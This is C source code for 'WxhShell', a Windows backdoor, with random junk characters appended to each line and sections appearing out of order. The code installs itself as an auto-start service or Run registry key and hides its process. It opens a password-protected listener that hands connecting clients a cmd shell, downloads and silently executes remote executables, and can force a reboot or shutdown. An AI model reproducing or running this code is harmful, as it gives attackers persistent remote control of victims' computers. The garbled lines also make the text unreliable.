    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O=}Rp 1  
    else { \-;f<%+  
    closesocket(wsh); GVnDN~[  
    ExitThread(0); 3lpxh_  
    } 0`c{9gY.  
    break; 2y^:T'p  
    } -2J37   
  // 获取shell 0g|5s  
  case 's': { vZTXvdF  
    CmdShell(wsh); Z*mbhod  
    closesocket(wsh); &Q?@VN i  
    ExitThread(0); U6@c)_* <  
    break; ~Y CH5,  
  } o68i0aFW  
  // 退出 Wmcd{MOS  
  case 'x': { EC,`t*<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); MU a[}?  
    CloseIt(wsh); QE[<Y3M  
    break; .aY $-Y<  
    } !KK`+ 9/  
  // 离开 Y 2ANt w@  
  case 'q': { I)FFh%m<}a  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ur'<8pDb$  
    closesocket(wsh); Kh$"5dy  
    WSACleanup(); #Iz)Mu  
    exit(1); J}xM+l7uY  
    break; {E Ay~lo  
        } eZT8gKbjJ)  
  } 1a{3k#}  
  } &Z]}rn  
Z@+nkTJ9&t  
  // 提示信息 <nbk lo  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PZ8,E{V  
} 7<WS@-2I#  
  } ;NRh0)%|o  
B1nm?E 0i  
  return; C&w0HoF  
} &F~d~;G"q  
k"i3$^v8  
// shell模块句柄 \vT~2Y(K  
int CmdShell(SOCKET sock) z&d.YO_W  
{ iVZ}+Ct<"  
STARTUPINFO si; xE?KJ  
ZeroMemory(&si,sizeof(si)); zs#-E_^%M  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +X^GS^mz  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; W$zRUG-  
PROCESS_INFORMATION ProcessInfo; xo'!$a}I2  
char cmdline[]="cmd"; |@JTSz*Or  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); x0Loid\f  
  return 0; zG ='U  
} vNs%e/~vj  
<<MpeMi  
// 自身启动模式 gp`@dn';  
int StartFromService(void) ;(`bP  
{ m1%rm-M  
typedef struct Yt(FSb31H  
{ E! NtD).=S  
  DWORD ExitStatus; hp'oiR;~w  
  DWORD PebBaseAddress; = exCpW>  
  DWORD AffinityMask; %BkE %ZcZ  
  DWORD BasePriority; uKk#V6t#  
  ULONG UniqueProcessId; 'D5J5+.z  
  ULONG InheritedFromUniqueProcessId; :zKW[sF  
}   PROCESS_BASIC_INFORMATION;  1}=D  
T"Y#u  
PROCNTQSIP NtQueryInformationProcess; iLSUz j`  
<7J3tn B  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2w7$"N  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3O$l;|SX  
(t@)`N{  
  HANDLE             hProcess; wz:e\ !  
  PROCESS_BASIC_INFORMATION pbi; d5gwc5X  
NzQvciJ@"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }?Y -I> w  
  if(NULL == hInst ) return 0; iptA#<Yj  
L!Y|`P#Yr  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ln,<|,fZN  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); X^eyrqv  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ljz)%y[s  
2T2<I/")O  
  if (!NtQueryInformationProcess) return 0; !FP ]  
(v/L   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ZSQiQ2\)  
  if(!hProcess) return 0; tB>!1}v  
z]8Mv(eL  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; s|<n7 =J  
Q;3`T7  
  CloseHandle(hProcess); fW2NYQP$:  
> "F-1{  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]gPx%c  
if(hProcess==NULL) return 0; -&2Z/qM&!  
#1J ,!seJ  
HMODULE hMod; Jl\xE`-7  
char procName[255]; X2A k  
unsigned long cbNeeded; Fw&ImRMk  
PdO"e  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); qA7,txQ:  
L%v@|COQ3  
  CloseHandle(hProcess); |=IJ^y(x|  
y+iRZ%V^  
if(strstr(procName,"services")) return 1; // 以服务启动 75Z|meG~  
AJi+JO-  
  return 0; // 注册表启动 R5=J:o  
} yP$esDP  
(9%?ik  
// 主模块 =_k  
int StartWxhshell(LPSTR lpCmdLine) 8wkhbD|;  
{ r[Pp[ g-J  
  SOCKET wsl; 3\m !  
BOOL val=TRUE; Lld45Bayb  
  int port=0; ~>>_`;B  
  struct sockaddr_in door; y p{Dl  
}>@SyE'Q  
  if(wscfg.ws_autoins) Install(); 4Y59^  
g$GGo[_0  
port=atoi(lpCmdLine); :} =lE"2  
[x{$f7CEh  
if(port<=0) port=wscfg.ws_port; SV t~pE+Y  
3#,6(k4>  
  WSADATA data; dM^EYW  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Cty{   
moxmQ>xoH  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %l&oRBC  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }b54O\,  
  door.sin_family = AF_INET; OlyW/hd  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~F-knEvL  
  door.sin_port = htons(port); F?2UHcs  
0a:oC(Ak  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `:3nF'  
closesocket(wsl); "G>d8GbIh  
return 1; n! 5(Z5=  
} A-4;$ QSm  
+&u/R')?6r  
  if(listen(wsl,2) == INVALID_SOCKET) { PR|z -T  
closesocket(wsl); :|V650/  
return 1; ?QffSSj[s  
} b(N\R_IQ~  
  Wxhshell(wsl); Wx-0Ip'9  
  WSACleanup(); !~C%0{9+u@  
Nxt:U{`T'  
return 0; _}p [(sTV  
>+7{PF+sB  
} ] hK}ASC  
%7mGMa/  
// 以NT服务方式启动 n32"cFPpT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _s@PL59,  
{ '-A;B.GV%  
DWORD   status = 0; 5XX)8gAo  
  DWORD   specificError = 0xfffffff; ^*fD  
-'qVnu  
  serviceStatus.dwServiceType     = SERVICE_WIN32; J(}PvkA  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \VhG'd3k  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |qe;+)0>K  
  serviceStatus.dwWin32ExitCode     = 0; d%k7n+ICQ4  
  serviceStatus.dwServiceSpecificExitCode = 0; \}h   
  serviceStatus.dwCheckPoint       = 0; L<=Dl  
  serviceStatus.dwWaitHint       = 0; A3tv'-e9  
yC$m(Y12FN  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -B-G$ii  
  if (hServiceStatusHandle==0) return; ka!w\v  
}y*D(`  
status = GetLastError(); ~ 3M4F^  
  if (status!=NO_ERROR) U:8] G  
{ oQ -m  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "[7-1}l  
    serviceStatus.dwCheckPoint       = 0; mmJnE  
    serviceStatus.dwWaitHint       = 0; RdD>&D$I  
    serviceStatus.dwWin32ExitCode     = status; $)NS]wJ]3  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~.3v\Q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); RN 4?]8  
    return; *_I`{9~'  
  } |Io:D:  
U)f('zD  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; bu6Sp3g  
  serviceStatus.dwCheckPoint       = 0; A{;"e^a-^l  
  serviceStatus.dwWaitHint       = 0; jC[_uG  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Q(-&}cY  
} 8>WA5:]v  
5QK%BiDlr  
// 处理NT服务事件,比如:启动、停止 J/P[9m30[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +pG+ xI  
{ t[+bZUS$~  
switch(fdwControl) "9'3mmZm=?  
{ zx<PX  
case SERVICE_CONTROL_STOP: db,?b>,EE  
  serviceStatus.dwWin32ExitCode = 0; v|~=rvXFC  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; T1$p%yQH  
  serviceStatus.dwCheckPoint   = 0; (" :Dz_  
  serviceStatus.dwWaitHint     = 0; `Gv\"|Gn  
  { N9|J\;fzT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2iM}YCV  
  } v\dQjQu8m  
  return; 6oLOA}q   
case SERVICE_CONTROL_PAUSE: eb`3'&zV&)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &c!6e<o[p  
  break; vC>2%Zgf-  
case SERVICE_CONTROL_CONTINUE: W7 A!QS  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Ox#vW6;)  
  break; G7Ck P  
case SERVICE_CONTROL_INTERROGATE: U&6A)SW,k  
  break; (${:5W  
}; ?7wcv$K5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k^|z.$+  
} ]@Y!,bw&  
ppn  8  
// 标准应用程序主函数 <QvVPE}z   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) RuYIG?J=/  
{ Kd 1=mC  
] / Nt  
// 获取操作系统版本 0,~s0]h0V  
OsIsNt=GetOsVer(); sAU%:W{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [- 92]  
3 .#L  
  // 从命令行安装 #*pB"L  
  if(strpbrk(lpCmdLine,"iI")) Install(); 'kj q C  
nG3SDL#(k  
  // 下载执行文件 n\D/WLvM  
if(wscfg.ws_downexe) { `XE>Td>Bs  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Dk sn  
  WinExec(wscfg.ws_filenam,SW_HIDE); Drtg7v{@\  
} OKm,iIp]  
G{6@]72  
if(!OsIsNt) { )jl@ hnA  
// 如果时win9x,隐藏进程并且设置为注册表启动 : 8>zo  
HideProc(); bC+Z R{M  
StartWxhshell(lpCmdLine); |~%RSS~b*  
} E8Kk )7  
else .S|T{DMQ[  
  if(StartFromService()) j;uUM6  
  // 以服务方式启动 > "rM\ Q  
  StartServiceCtrlDispatcher(DispatchTable); %[KnpJ{\  
else nI?*[y}  
  // 普通方式启动 @d{}M)6\!  
  StartWxhshell(lpCmdLine); *LhwIY  
1 Q FsT  
return 0; 1lIs jBo g  
} IY6Ll6OK  
X%s5D&gr  
wN'S+4  
n:4 0T1: q  
=========================================== ,=CipL9]  
_+P*XY5  
0 N7I:vJ  
p/_W*0/i  
A@|Z^T:  
MVzj7~+  
" p_BG#dRM  
^PFiO 12  
#include <stdio.h> V C VqUCc  
#include <string.h>  ,d/$!Yf  
#include <windows.h> {@L{l1|0  
#include <winsock2.h> gQik>gFr  
#include <winsvc.h> `:Wyw<^  
#include <urlmon.h> !NNPg?Y  
z =H?@z  
#pragma comment (lib, "Ws2_32.lib") `f}ZAX  
#pragma comment (lib, "urlmon.lib") |0F o{  
8*&-u +@%  
#define MAX_USER   100 // 最大客户端连接数 B/3~[ '  
#define BUF_SOCK   200 // sock buffer }N -UlL(  
#define KEY_BUFF   255 // 输入 buffer =>PX~/o  
W (TTsnnx  
#define REBOOT     0   // 重启 jA?[*HB  
#define SHUTDOWN   1   // 关机 }Y.@:v j  
5YPIv-  
#define DEF_PORT   5000 // 监听端口 n1|]ji[c  
@A8y!<  
#define REG_LEN     16   // 注册表键长度 W:n\,P  
#define SVC_LEN     80   // NT服务名长度 ;C o"bP's  
)?&mCI*  
// 从dll定义API o7+<sL  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); VJK4C8]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); h{-en50tN  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); } %0 w25  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *{5}m(5F  
NM9ViYm>P  
// wxhshell配置信息 Rq|5%;1  
struct WSCFG { RgFpc*.T  
  int ws_port;         // 监听端口 M6cybEk`  
  char ws_passstr[REG_LEN]; // 口令 n5xG4.#G  
  int ws_autoins;       // 安装标记, 1=yes 0=no anz7ae&P'K  
  char ws_regname[REG_LEN]; // 注册表键名 `::j\3B&Y-  
  char ws_svcname[REG_LEN]; // 服务名 pvt/{  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #q34>}O< O  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6 T~+vT  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Kg2@]J9m  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (AA@ sN  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %O%;\t  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *]q`:~u2  
oU3gy[wF;b  
}; N0lFx?4  
tZ=|1lM  
// default Wxhshell configuration ^{yb4yQ 0  
struct WSCFG wscfg={DEF_PORT, P/~dY  
    "xuhuanlingzhe", 8z=o.\@  
    1, |#*+#27  
    "Wxhshell", 4ybOK~z  
    "Wxhshell", oKSW:A  
            "WxhShell Service", .-s!} P"  
    "Wrsky Windows CmdShell Service", _kOuD}_|  
    "Please Input Your Password: ", ;/m>c{  
  1, S WsD]rn  
  "http://www.wrsky.com/wxhshell.exe", gDfM}2]/  
  "Wxhshell.exe" 3H"F~_H  
    }; p(4Ek"  
G@ybx[_[@  
// 消息定义模块 +A,cdi9z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; z&GGa`T"  
char *msg_ws_prompt="\n\r? for help\n\r#>"; mNe908Yw  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; m|cRj{xZF  
char *msg_ws_ext="\n\rExit."; jvd3_L-@E<  
char *msg_ws_end="\n\rQuit."; <C"}OW8  
char *msg_ws_boot="\n\rReboot..."; gcX  
char *msg_ws_poff="\n\rShutdown..."; ]]V=\.y  
char *msg_ws_down="\n\rSave to "; IP !zg|c,  
/Jk.b/t.*S  
char *msg_ws_err="\n\rErr!"; %iV\nFal>  
char *msg_ws_ok="\n\rOK!"; $\4Or  
qy\SOA h  
char ExeFile[MAX_PATH]; E.VEW;=  
int nUser = 0; /KvpJ4  
HANDLE handles[MAX_USER]; TKw>eGe  
int OsIsNt; QIN# \  
Grd9yLF  
SERVICE_STATUS       serviceStatus; `n|k+tsC  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; n!b*GXb\  
$[=`*m  
// 函数声明 ?K}KSJ6_  
int Install(void); R<h0RKiM@  
int Uninstall(void); OK}8BY  
int DownloadFile(char *sURL, SOCKET wsh); gJOswN;([  
int Boot(int flag); U8g?   
void HideProc(void); #@5 jOi  
int GetOsVer(void); CA"`7<,  
int Wxhshell(SOCKET wsl); n |,}   
void TalkWithClient(void *cs); 4P24ySy9F  
int CmdShell(SOCKET sock); B;{sr'CP  
int StartFromService(void); BYS>"  
int StartWxhshell(LPSTR lpCmdLine); 9*|An  
Ke&fTK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); nDchLVw  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); gY=+G6;=<  
6d 8n1_  
// 数据结构和表定义 N) z] F9Kg  
SERVICE_TABLE_ENTRY DispatchTable[] = Q([g1?F9*  
{ v#IZSBvuQK  
{wscfg.ws_svcname, NTServiceMain}, oU 8o;zk0  
{NULL, NULL} Ox/va]e7"  
}; VxAR,a1+n  
J Y> I  
// 自我安装 DNM~/Oo  
int Install(void) uoBPi[nK  
{ ,%m$_wA$  
  char svExeFile[MAX_PATH]; eP3 itrH(  
  HKEY key; :\1&5Pm]  
  strcpy(svExeFile,ExeFile); 9Bmgz =8  
}S&SL)  
// 如果是win9x系统,修改注册表设为自启动 L/cbq*L  
if(!OsIsNt) { %^ E>~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Fn%:0j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Md m(xUs  
  RegCloseKey(key);  })w5`?Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a-DE-V Uls  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :Ws3+OI'm3  
  RegCloseKey(key); *KV] MdS  
  return 0; qdu:kA:]  
    } 1-gX=8]]  
  } C{S6Ri  
} ln!KL'T]  
else { 4';['  
X}bgRzj  
// 如果是NT以上系统,安装为系统服务 DFjkp;`1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); tbk9N( R  
if (schSCManager!=0) )ZmE"  
{ +V\NMW4d  
  SC_HANDLE schService = CreateService )'<zC  
  ( (/Y gcT  
  schSCManager, &q` =xF  
  wscfg.ws_svcname, QnOa?0HL/  
  wscfg.ws_svcdisp, ?,),%JQ  
  SERVICE_ALL_ACCESS, ]g+(#x_.?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , IweQB}d  
  SERVICE_AUTO_START, uTJ?@ ^nq  
  SERVICE_ERROR_NORMAL, Cw^)}23R  
  svExeFile, EGMcU| yL  
  NULL, Yc5$915  
  NULL, O "h+i>|l  
  NULL, n:!J3pR  
  NULL, XJ NKM~  
  NULL nocH~bAf2  
  ); ,!py n<_  
  if (schService!=0) =O _[9kuJ  
  { ta 4<d)nB  
  CloseServiceHandle(schService); Vis?cuU/  
  CloseServiceHandle(schSCManager); E0h!%/+-L  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @+!d@`w:z2  
  strcat(svExeFile,wscfg.ws_svcname); 9_/1TjrDN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { U&a]gkr  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^e 6(#SqR  
  RegCloseKey(key); 6qA{l_V  
  return 0; p_(hM&>C  
    }  G0&w#j  
  } mLYB6   
  CloseServiceHandle(schSCManager); '}Y8a$(;V  
} =gqZ^v&5U  
} _1 JvA-  
hg>YOf&RG  
return 1; ! O>mu6:Rf  
} ";. 3+z  
Tuy*Df  
// 自我卸载 5astv:p,P  
int Uninstall(void) |3cR'|<Ual  
{ )T+htD)  
  HKEY key; J\0YL\jw1K  
!%(B2J  
if(!OsIsNt) { Yb\36|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { : R&tO3_F  
  RegDeleteValue(key,wscfg.ws_regname); d16 PY_  
  RegCloseKey(key); /kq~*s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }R'oAE}$  
  RegDeleteValue(key,wscfg.ws_regname); yI;Qb7|^  
  RegCloseKey(key); )G|U B8]  
  return 0; Mt:(w;Y  
  } G j:|  
} u@3w$"Pv1  
} ZtT`_G&  
else { pL-$Np] V  
j)5Vv K\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); i xyjl[G  
if (schSCManager!=0) 1FX-#Y`e  
{ `jkn*:m  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }bTMeCgI  
  if (schService!=0) J{ Vl2P?@  
  { #75;%a8  
  if(DeleteService(schService)!=0) { \#}%E h b  
  CloseServiceHandle(schService); ),Rj@52l  
  CloseServiceHandle(schSCManager); *dl@)~i  
  return 0; ,O+7nByi[V  
  } 1$W!<:uh  
  CloseServiceHandle(schService); `F@yZ4L3S  
  } M/qiA.C@W  
  CloseServiceHandle(schSCManager); N@>S>U8C  
} EIfrZg7R  
} o_5@R+&  
PTh Ya  
return 1; s5dh]vNN  
} Lsz`nD5  
WveFB%@`;  
// 从指定url下载文件 1,J.  
int DownloadFile(char *sURL, SOCKET wsh) b,W '0gl  
{ wtKh8^:YD  
  HRESULT hr; (qrT0D6  
char seps[]= "/"; 9+']`=a:  
char *token; 5W48z%MN  
char *file; fYi!Z/Ck2  
char myURL[MAX_PATH]; )qIK7;  
char myFILE[MAX_PATH]; H6eGLg={  
#Grm-W9E  
strcpy(myURL,sURL); L5W>in5(  
  token=strtok(myURL,seps); $9~1s/('  
  while(token!=NULL) @:@rks&  
  { vX\e* v  
    file=token; GS H{1VS_b  
  token=strtok(NULL,seps); >A/=eW/q  
  } @!da1jN  
+9J>'oe'D  
GetCurrentDirectory(MAX_PATH,myFILE); ^b~5zhY&  
strcat(myFILE, "\\"); JNz0!wi  
strcat(myFILE, file);  df'g},_  
  send(wsh,myFILE,strlen(myFILE),0); P.:T zk6  
send(wsh,"...",3,0); 6>I.*Qt \l  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :Mk}Suf&H  
  if(hr==S_OK) [1U_c*;i  
return 0; DvCt^O*  
else a6d KQ3D  
return 1; I'C ,'  
:Eyv==  
} 5,Y2Lzr  
K;PpS*!  
// 系统电源模块 \YS?}! 0  
int Boot(int flag) Dhoj|lc  
{ EoeEg,'~F  
  HANDLE hToken; EiUV?Gvz  
  TOKEN_PRIVILEGES tkp; %K7}yy&9C  
cw.7YiU  
  if(OsIsNt) { (% P=#vZ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ev16xL8B  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); wrU[#g,uvr  
    tkp.PrivilegeCount = 1; I\~V0<"jI  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *zWn4BckN  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 'r%oOZk)z  
if(flag==REBOOT) { jxaoQeac  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +IYSWR  
  return 0; sh2bhv]  
} [\1l4C  
else { vNbA/sM  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) mtHz6+  
  return 0; "_j7kYAl  
} U^&Cvxc[[  
  } #8jd,I% L  
  else { k Dt)S$N4n  
if(flag==REBOOT) { MavO`m&Cg  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (SK5pU  
  return 0; 4#q JX)/  
} FF/R_xnx  
else { E,@UM$alP  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ZZ*k3Ce  
  return 0; [B`P]}gL:  
} ;G]'}$`/q  
} :\_MA^<  
F.D1;,x  
return 1; .<%M8rcj  
} ud D[hPJd  
H@' @xHv  
// win9x进程隐藏模块 UAZ&*{MM^  
void HideProc(void) ,v_r$kh^  
{ Y;Gm,  
YPnJldVn  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); u0b-JJ7)BQ  
  if ( hKernel != NULL ) sEyl\GL  
  { +hgCk87%#  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <v k$eB8EC  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Ai18]QD-  
    FreeLibrary(hKernel);  u$8MVP  
  } Cl!jK^AbG  
wt S*w  
return; ,&] ` b#Rc  
} V JL;+  
t}*!UixE  
// 获取操作系统版本 (t$/G3E  
int GetOsVer(void) +Uq:sfj,  
{ 1C=P#MU`  
  OSVERSIONINFO winfo; /ASI 0h  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); P'9io!Z-s  
  GetVersionEx(&winfo); WI_mJ/2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]_8I_V cQ  
  return 1; `0|&T;7  
  else L$ Ar]O)  
  return 0; J6D$ i+  
} Ilb |:x"L  
Fjt,  
// 客户端句柄模块 $ n[7  
int Wxhshell(SOCKET wsl) :-" jK w  
{ z|)1l`  
  SOCKET wsh; [Od9,XBa  
  struct sockaddr_in client; C /XyDbH  
  DWORD myID; h##?~!xDmq  
^!_7L4&y  
  while(nUser<MAX_USER) Vj`s_IPY  
{ 5G;^OI!g  
  int nSize=sizeof(client); WV"QY/e3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); E=lfg8yb:  
  if(wsh==INVALID_SOCKET) return 1; w]o5L  
_6zP] |VBr  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); y7EX&  
if(handles[nUser]==0) 1e&b;l'*=  
  closesocket(wsh); s FYJQ90it  
else 14!a)Ijl  
  nUser++; 9k[},MM  
  } I} fcFL8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {<[tYZmj.  
b:cK>fh0_  
  return 0; -01 1U!  
} 0P3|1=  
@ aN=U=  
// 关闭 socket LE80`t>M#  
void CloseIt(SOCKET wsh) *1S.9L  
{ *N e2l`!1m  
closesocket(wsh); }SN44 di(  
nUser--; =M{CZm  
ExitThread(0); aDvO(C  
} hs_|nr0;[  
5>[sCl-  
// 客户端请求句柄 @ ^6OV)  
void TalkWithClient(void *cs) ur,"K' w  
{ bTy)0ta>AF  
<;0N@  
  SOCKET wsh=(SOCKET)cs; ';|>`<  
  char pwd[SVC_LEN]; | 4oM+n;Y  
  char cmd[KEY_BUFF]; J~'Q^O3@  
char chr[1]; uNZ>oP>  
int i,j; NF(IF.8G  
XAxI?y[c  
  while (nUser < MAX_USER) { `m;"I  
Q[Sd  
if(wscfg.ws_passstr) { @TPgA(5NR  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $0 S#d@v}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4\SBf\ c  
  //ZeroMemory(pwd,KEY_BUFF); ) wo2GF  
      i=0;  [Ro0eH  
  while(i<SVC_LEN) { /Q>{YsRRB  
K-k.=6mS  
  // 设置超时 ],}afa!A  
  fd_set FdRead; {e[pSD6   
  struct timeval TimeOut; D)ne *},  
  FD_ZERO(&FdRead); 6O@ ^`T  
  FD_SET(wsh,&FdRead); mImbS)V  
  TimeOut.tv_sec=8; ?"<r9S|[O  
  TimeOut.tv_usec=0; uC*:#[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^r$iN %&~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ""v`0OP&J  
c]!D`FA*K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R ms01m>Y  
  pwd=chr[0]; s.I1L?s1w?  
  if(chr[0]==0xd || chr[0]==0xa) { lPcVhj6No%  
  pwd=0; 5az 4NT  
  break; qwNKRqT  
  } G9y12HV  
  i++; dMs39j  
    } {F6dSF`  
(06Vcqg  
  // 如果是非法用户,关闭 socket ;ko[(eFN@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); MLD>"W  
} e]*=sp!T  
_QMHPRELk  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Y^ZBA\D2,k  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fov=Yd!  
+x9"#0|k;  
while(1) { Q#ZD&RZ9.  
h6T/0YhWLP  
  ZeroMemory(cmd,KEY_BUFF); [' OCw {<  
1S[5#ewB;j  
      // 自动支持客户端 telnet标准   ^'u;e(AaE  
  j=0; t3#H@0<  
  while(j<KEY_BUFF) { F`BgKH!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HLoQ}oK|K  
  cmd[j]=chr[0]; l@Eq|y,  
  if(chr[0]==0xa || chr[0]==0xd) { Q(;B)  
  cmd[j]=0; OBw`!G*w  
  break; 78a-3){  
  } VmOFX:j!,  
  j++; bDFCZH-:'O  
    } A{8K#@!  
0nD=|W\@{  
  // 下载文件 qv0 DrL,3  
  if(strstr(cmd,"http://")) { 'Elj"Iiu  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); o ,Tr^e$  
  if(DownloadFile(cmd,wsh)) )_c=mT  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); EB29vHAt~  
  else dp[w?AMhM9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e:GgA  
  } C>:/(O  
  else { MCi`TXr  
^0s\/qyqm  
    switch(cmd[0]) { kToVBU$  
  @`kiEg'Q  
  // 帮助 +i`Q 7+d  
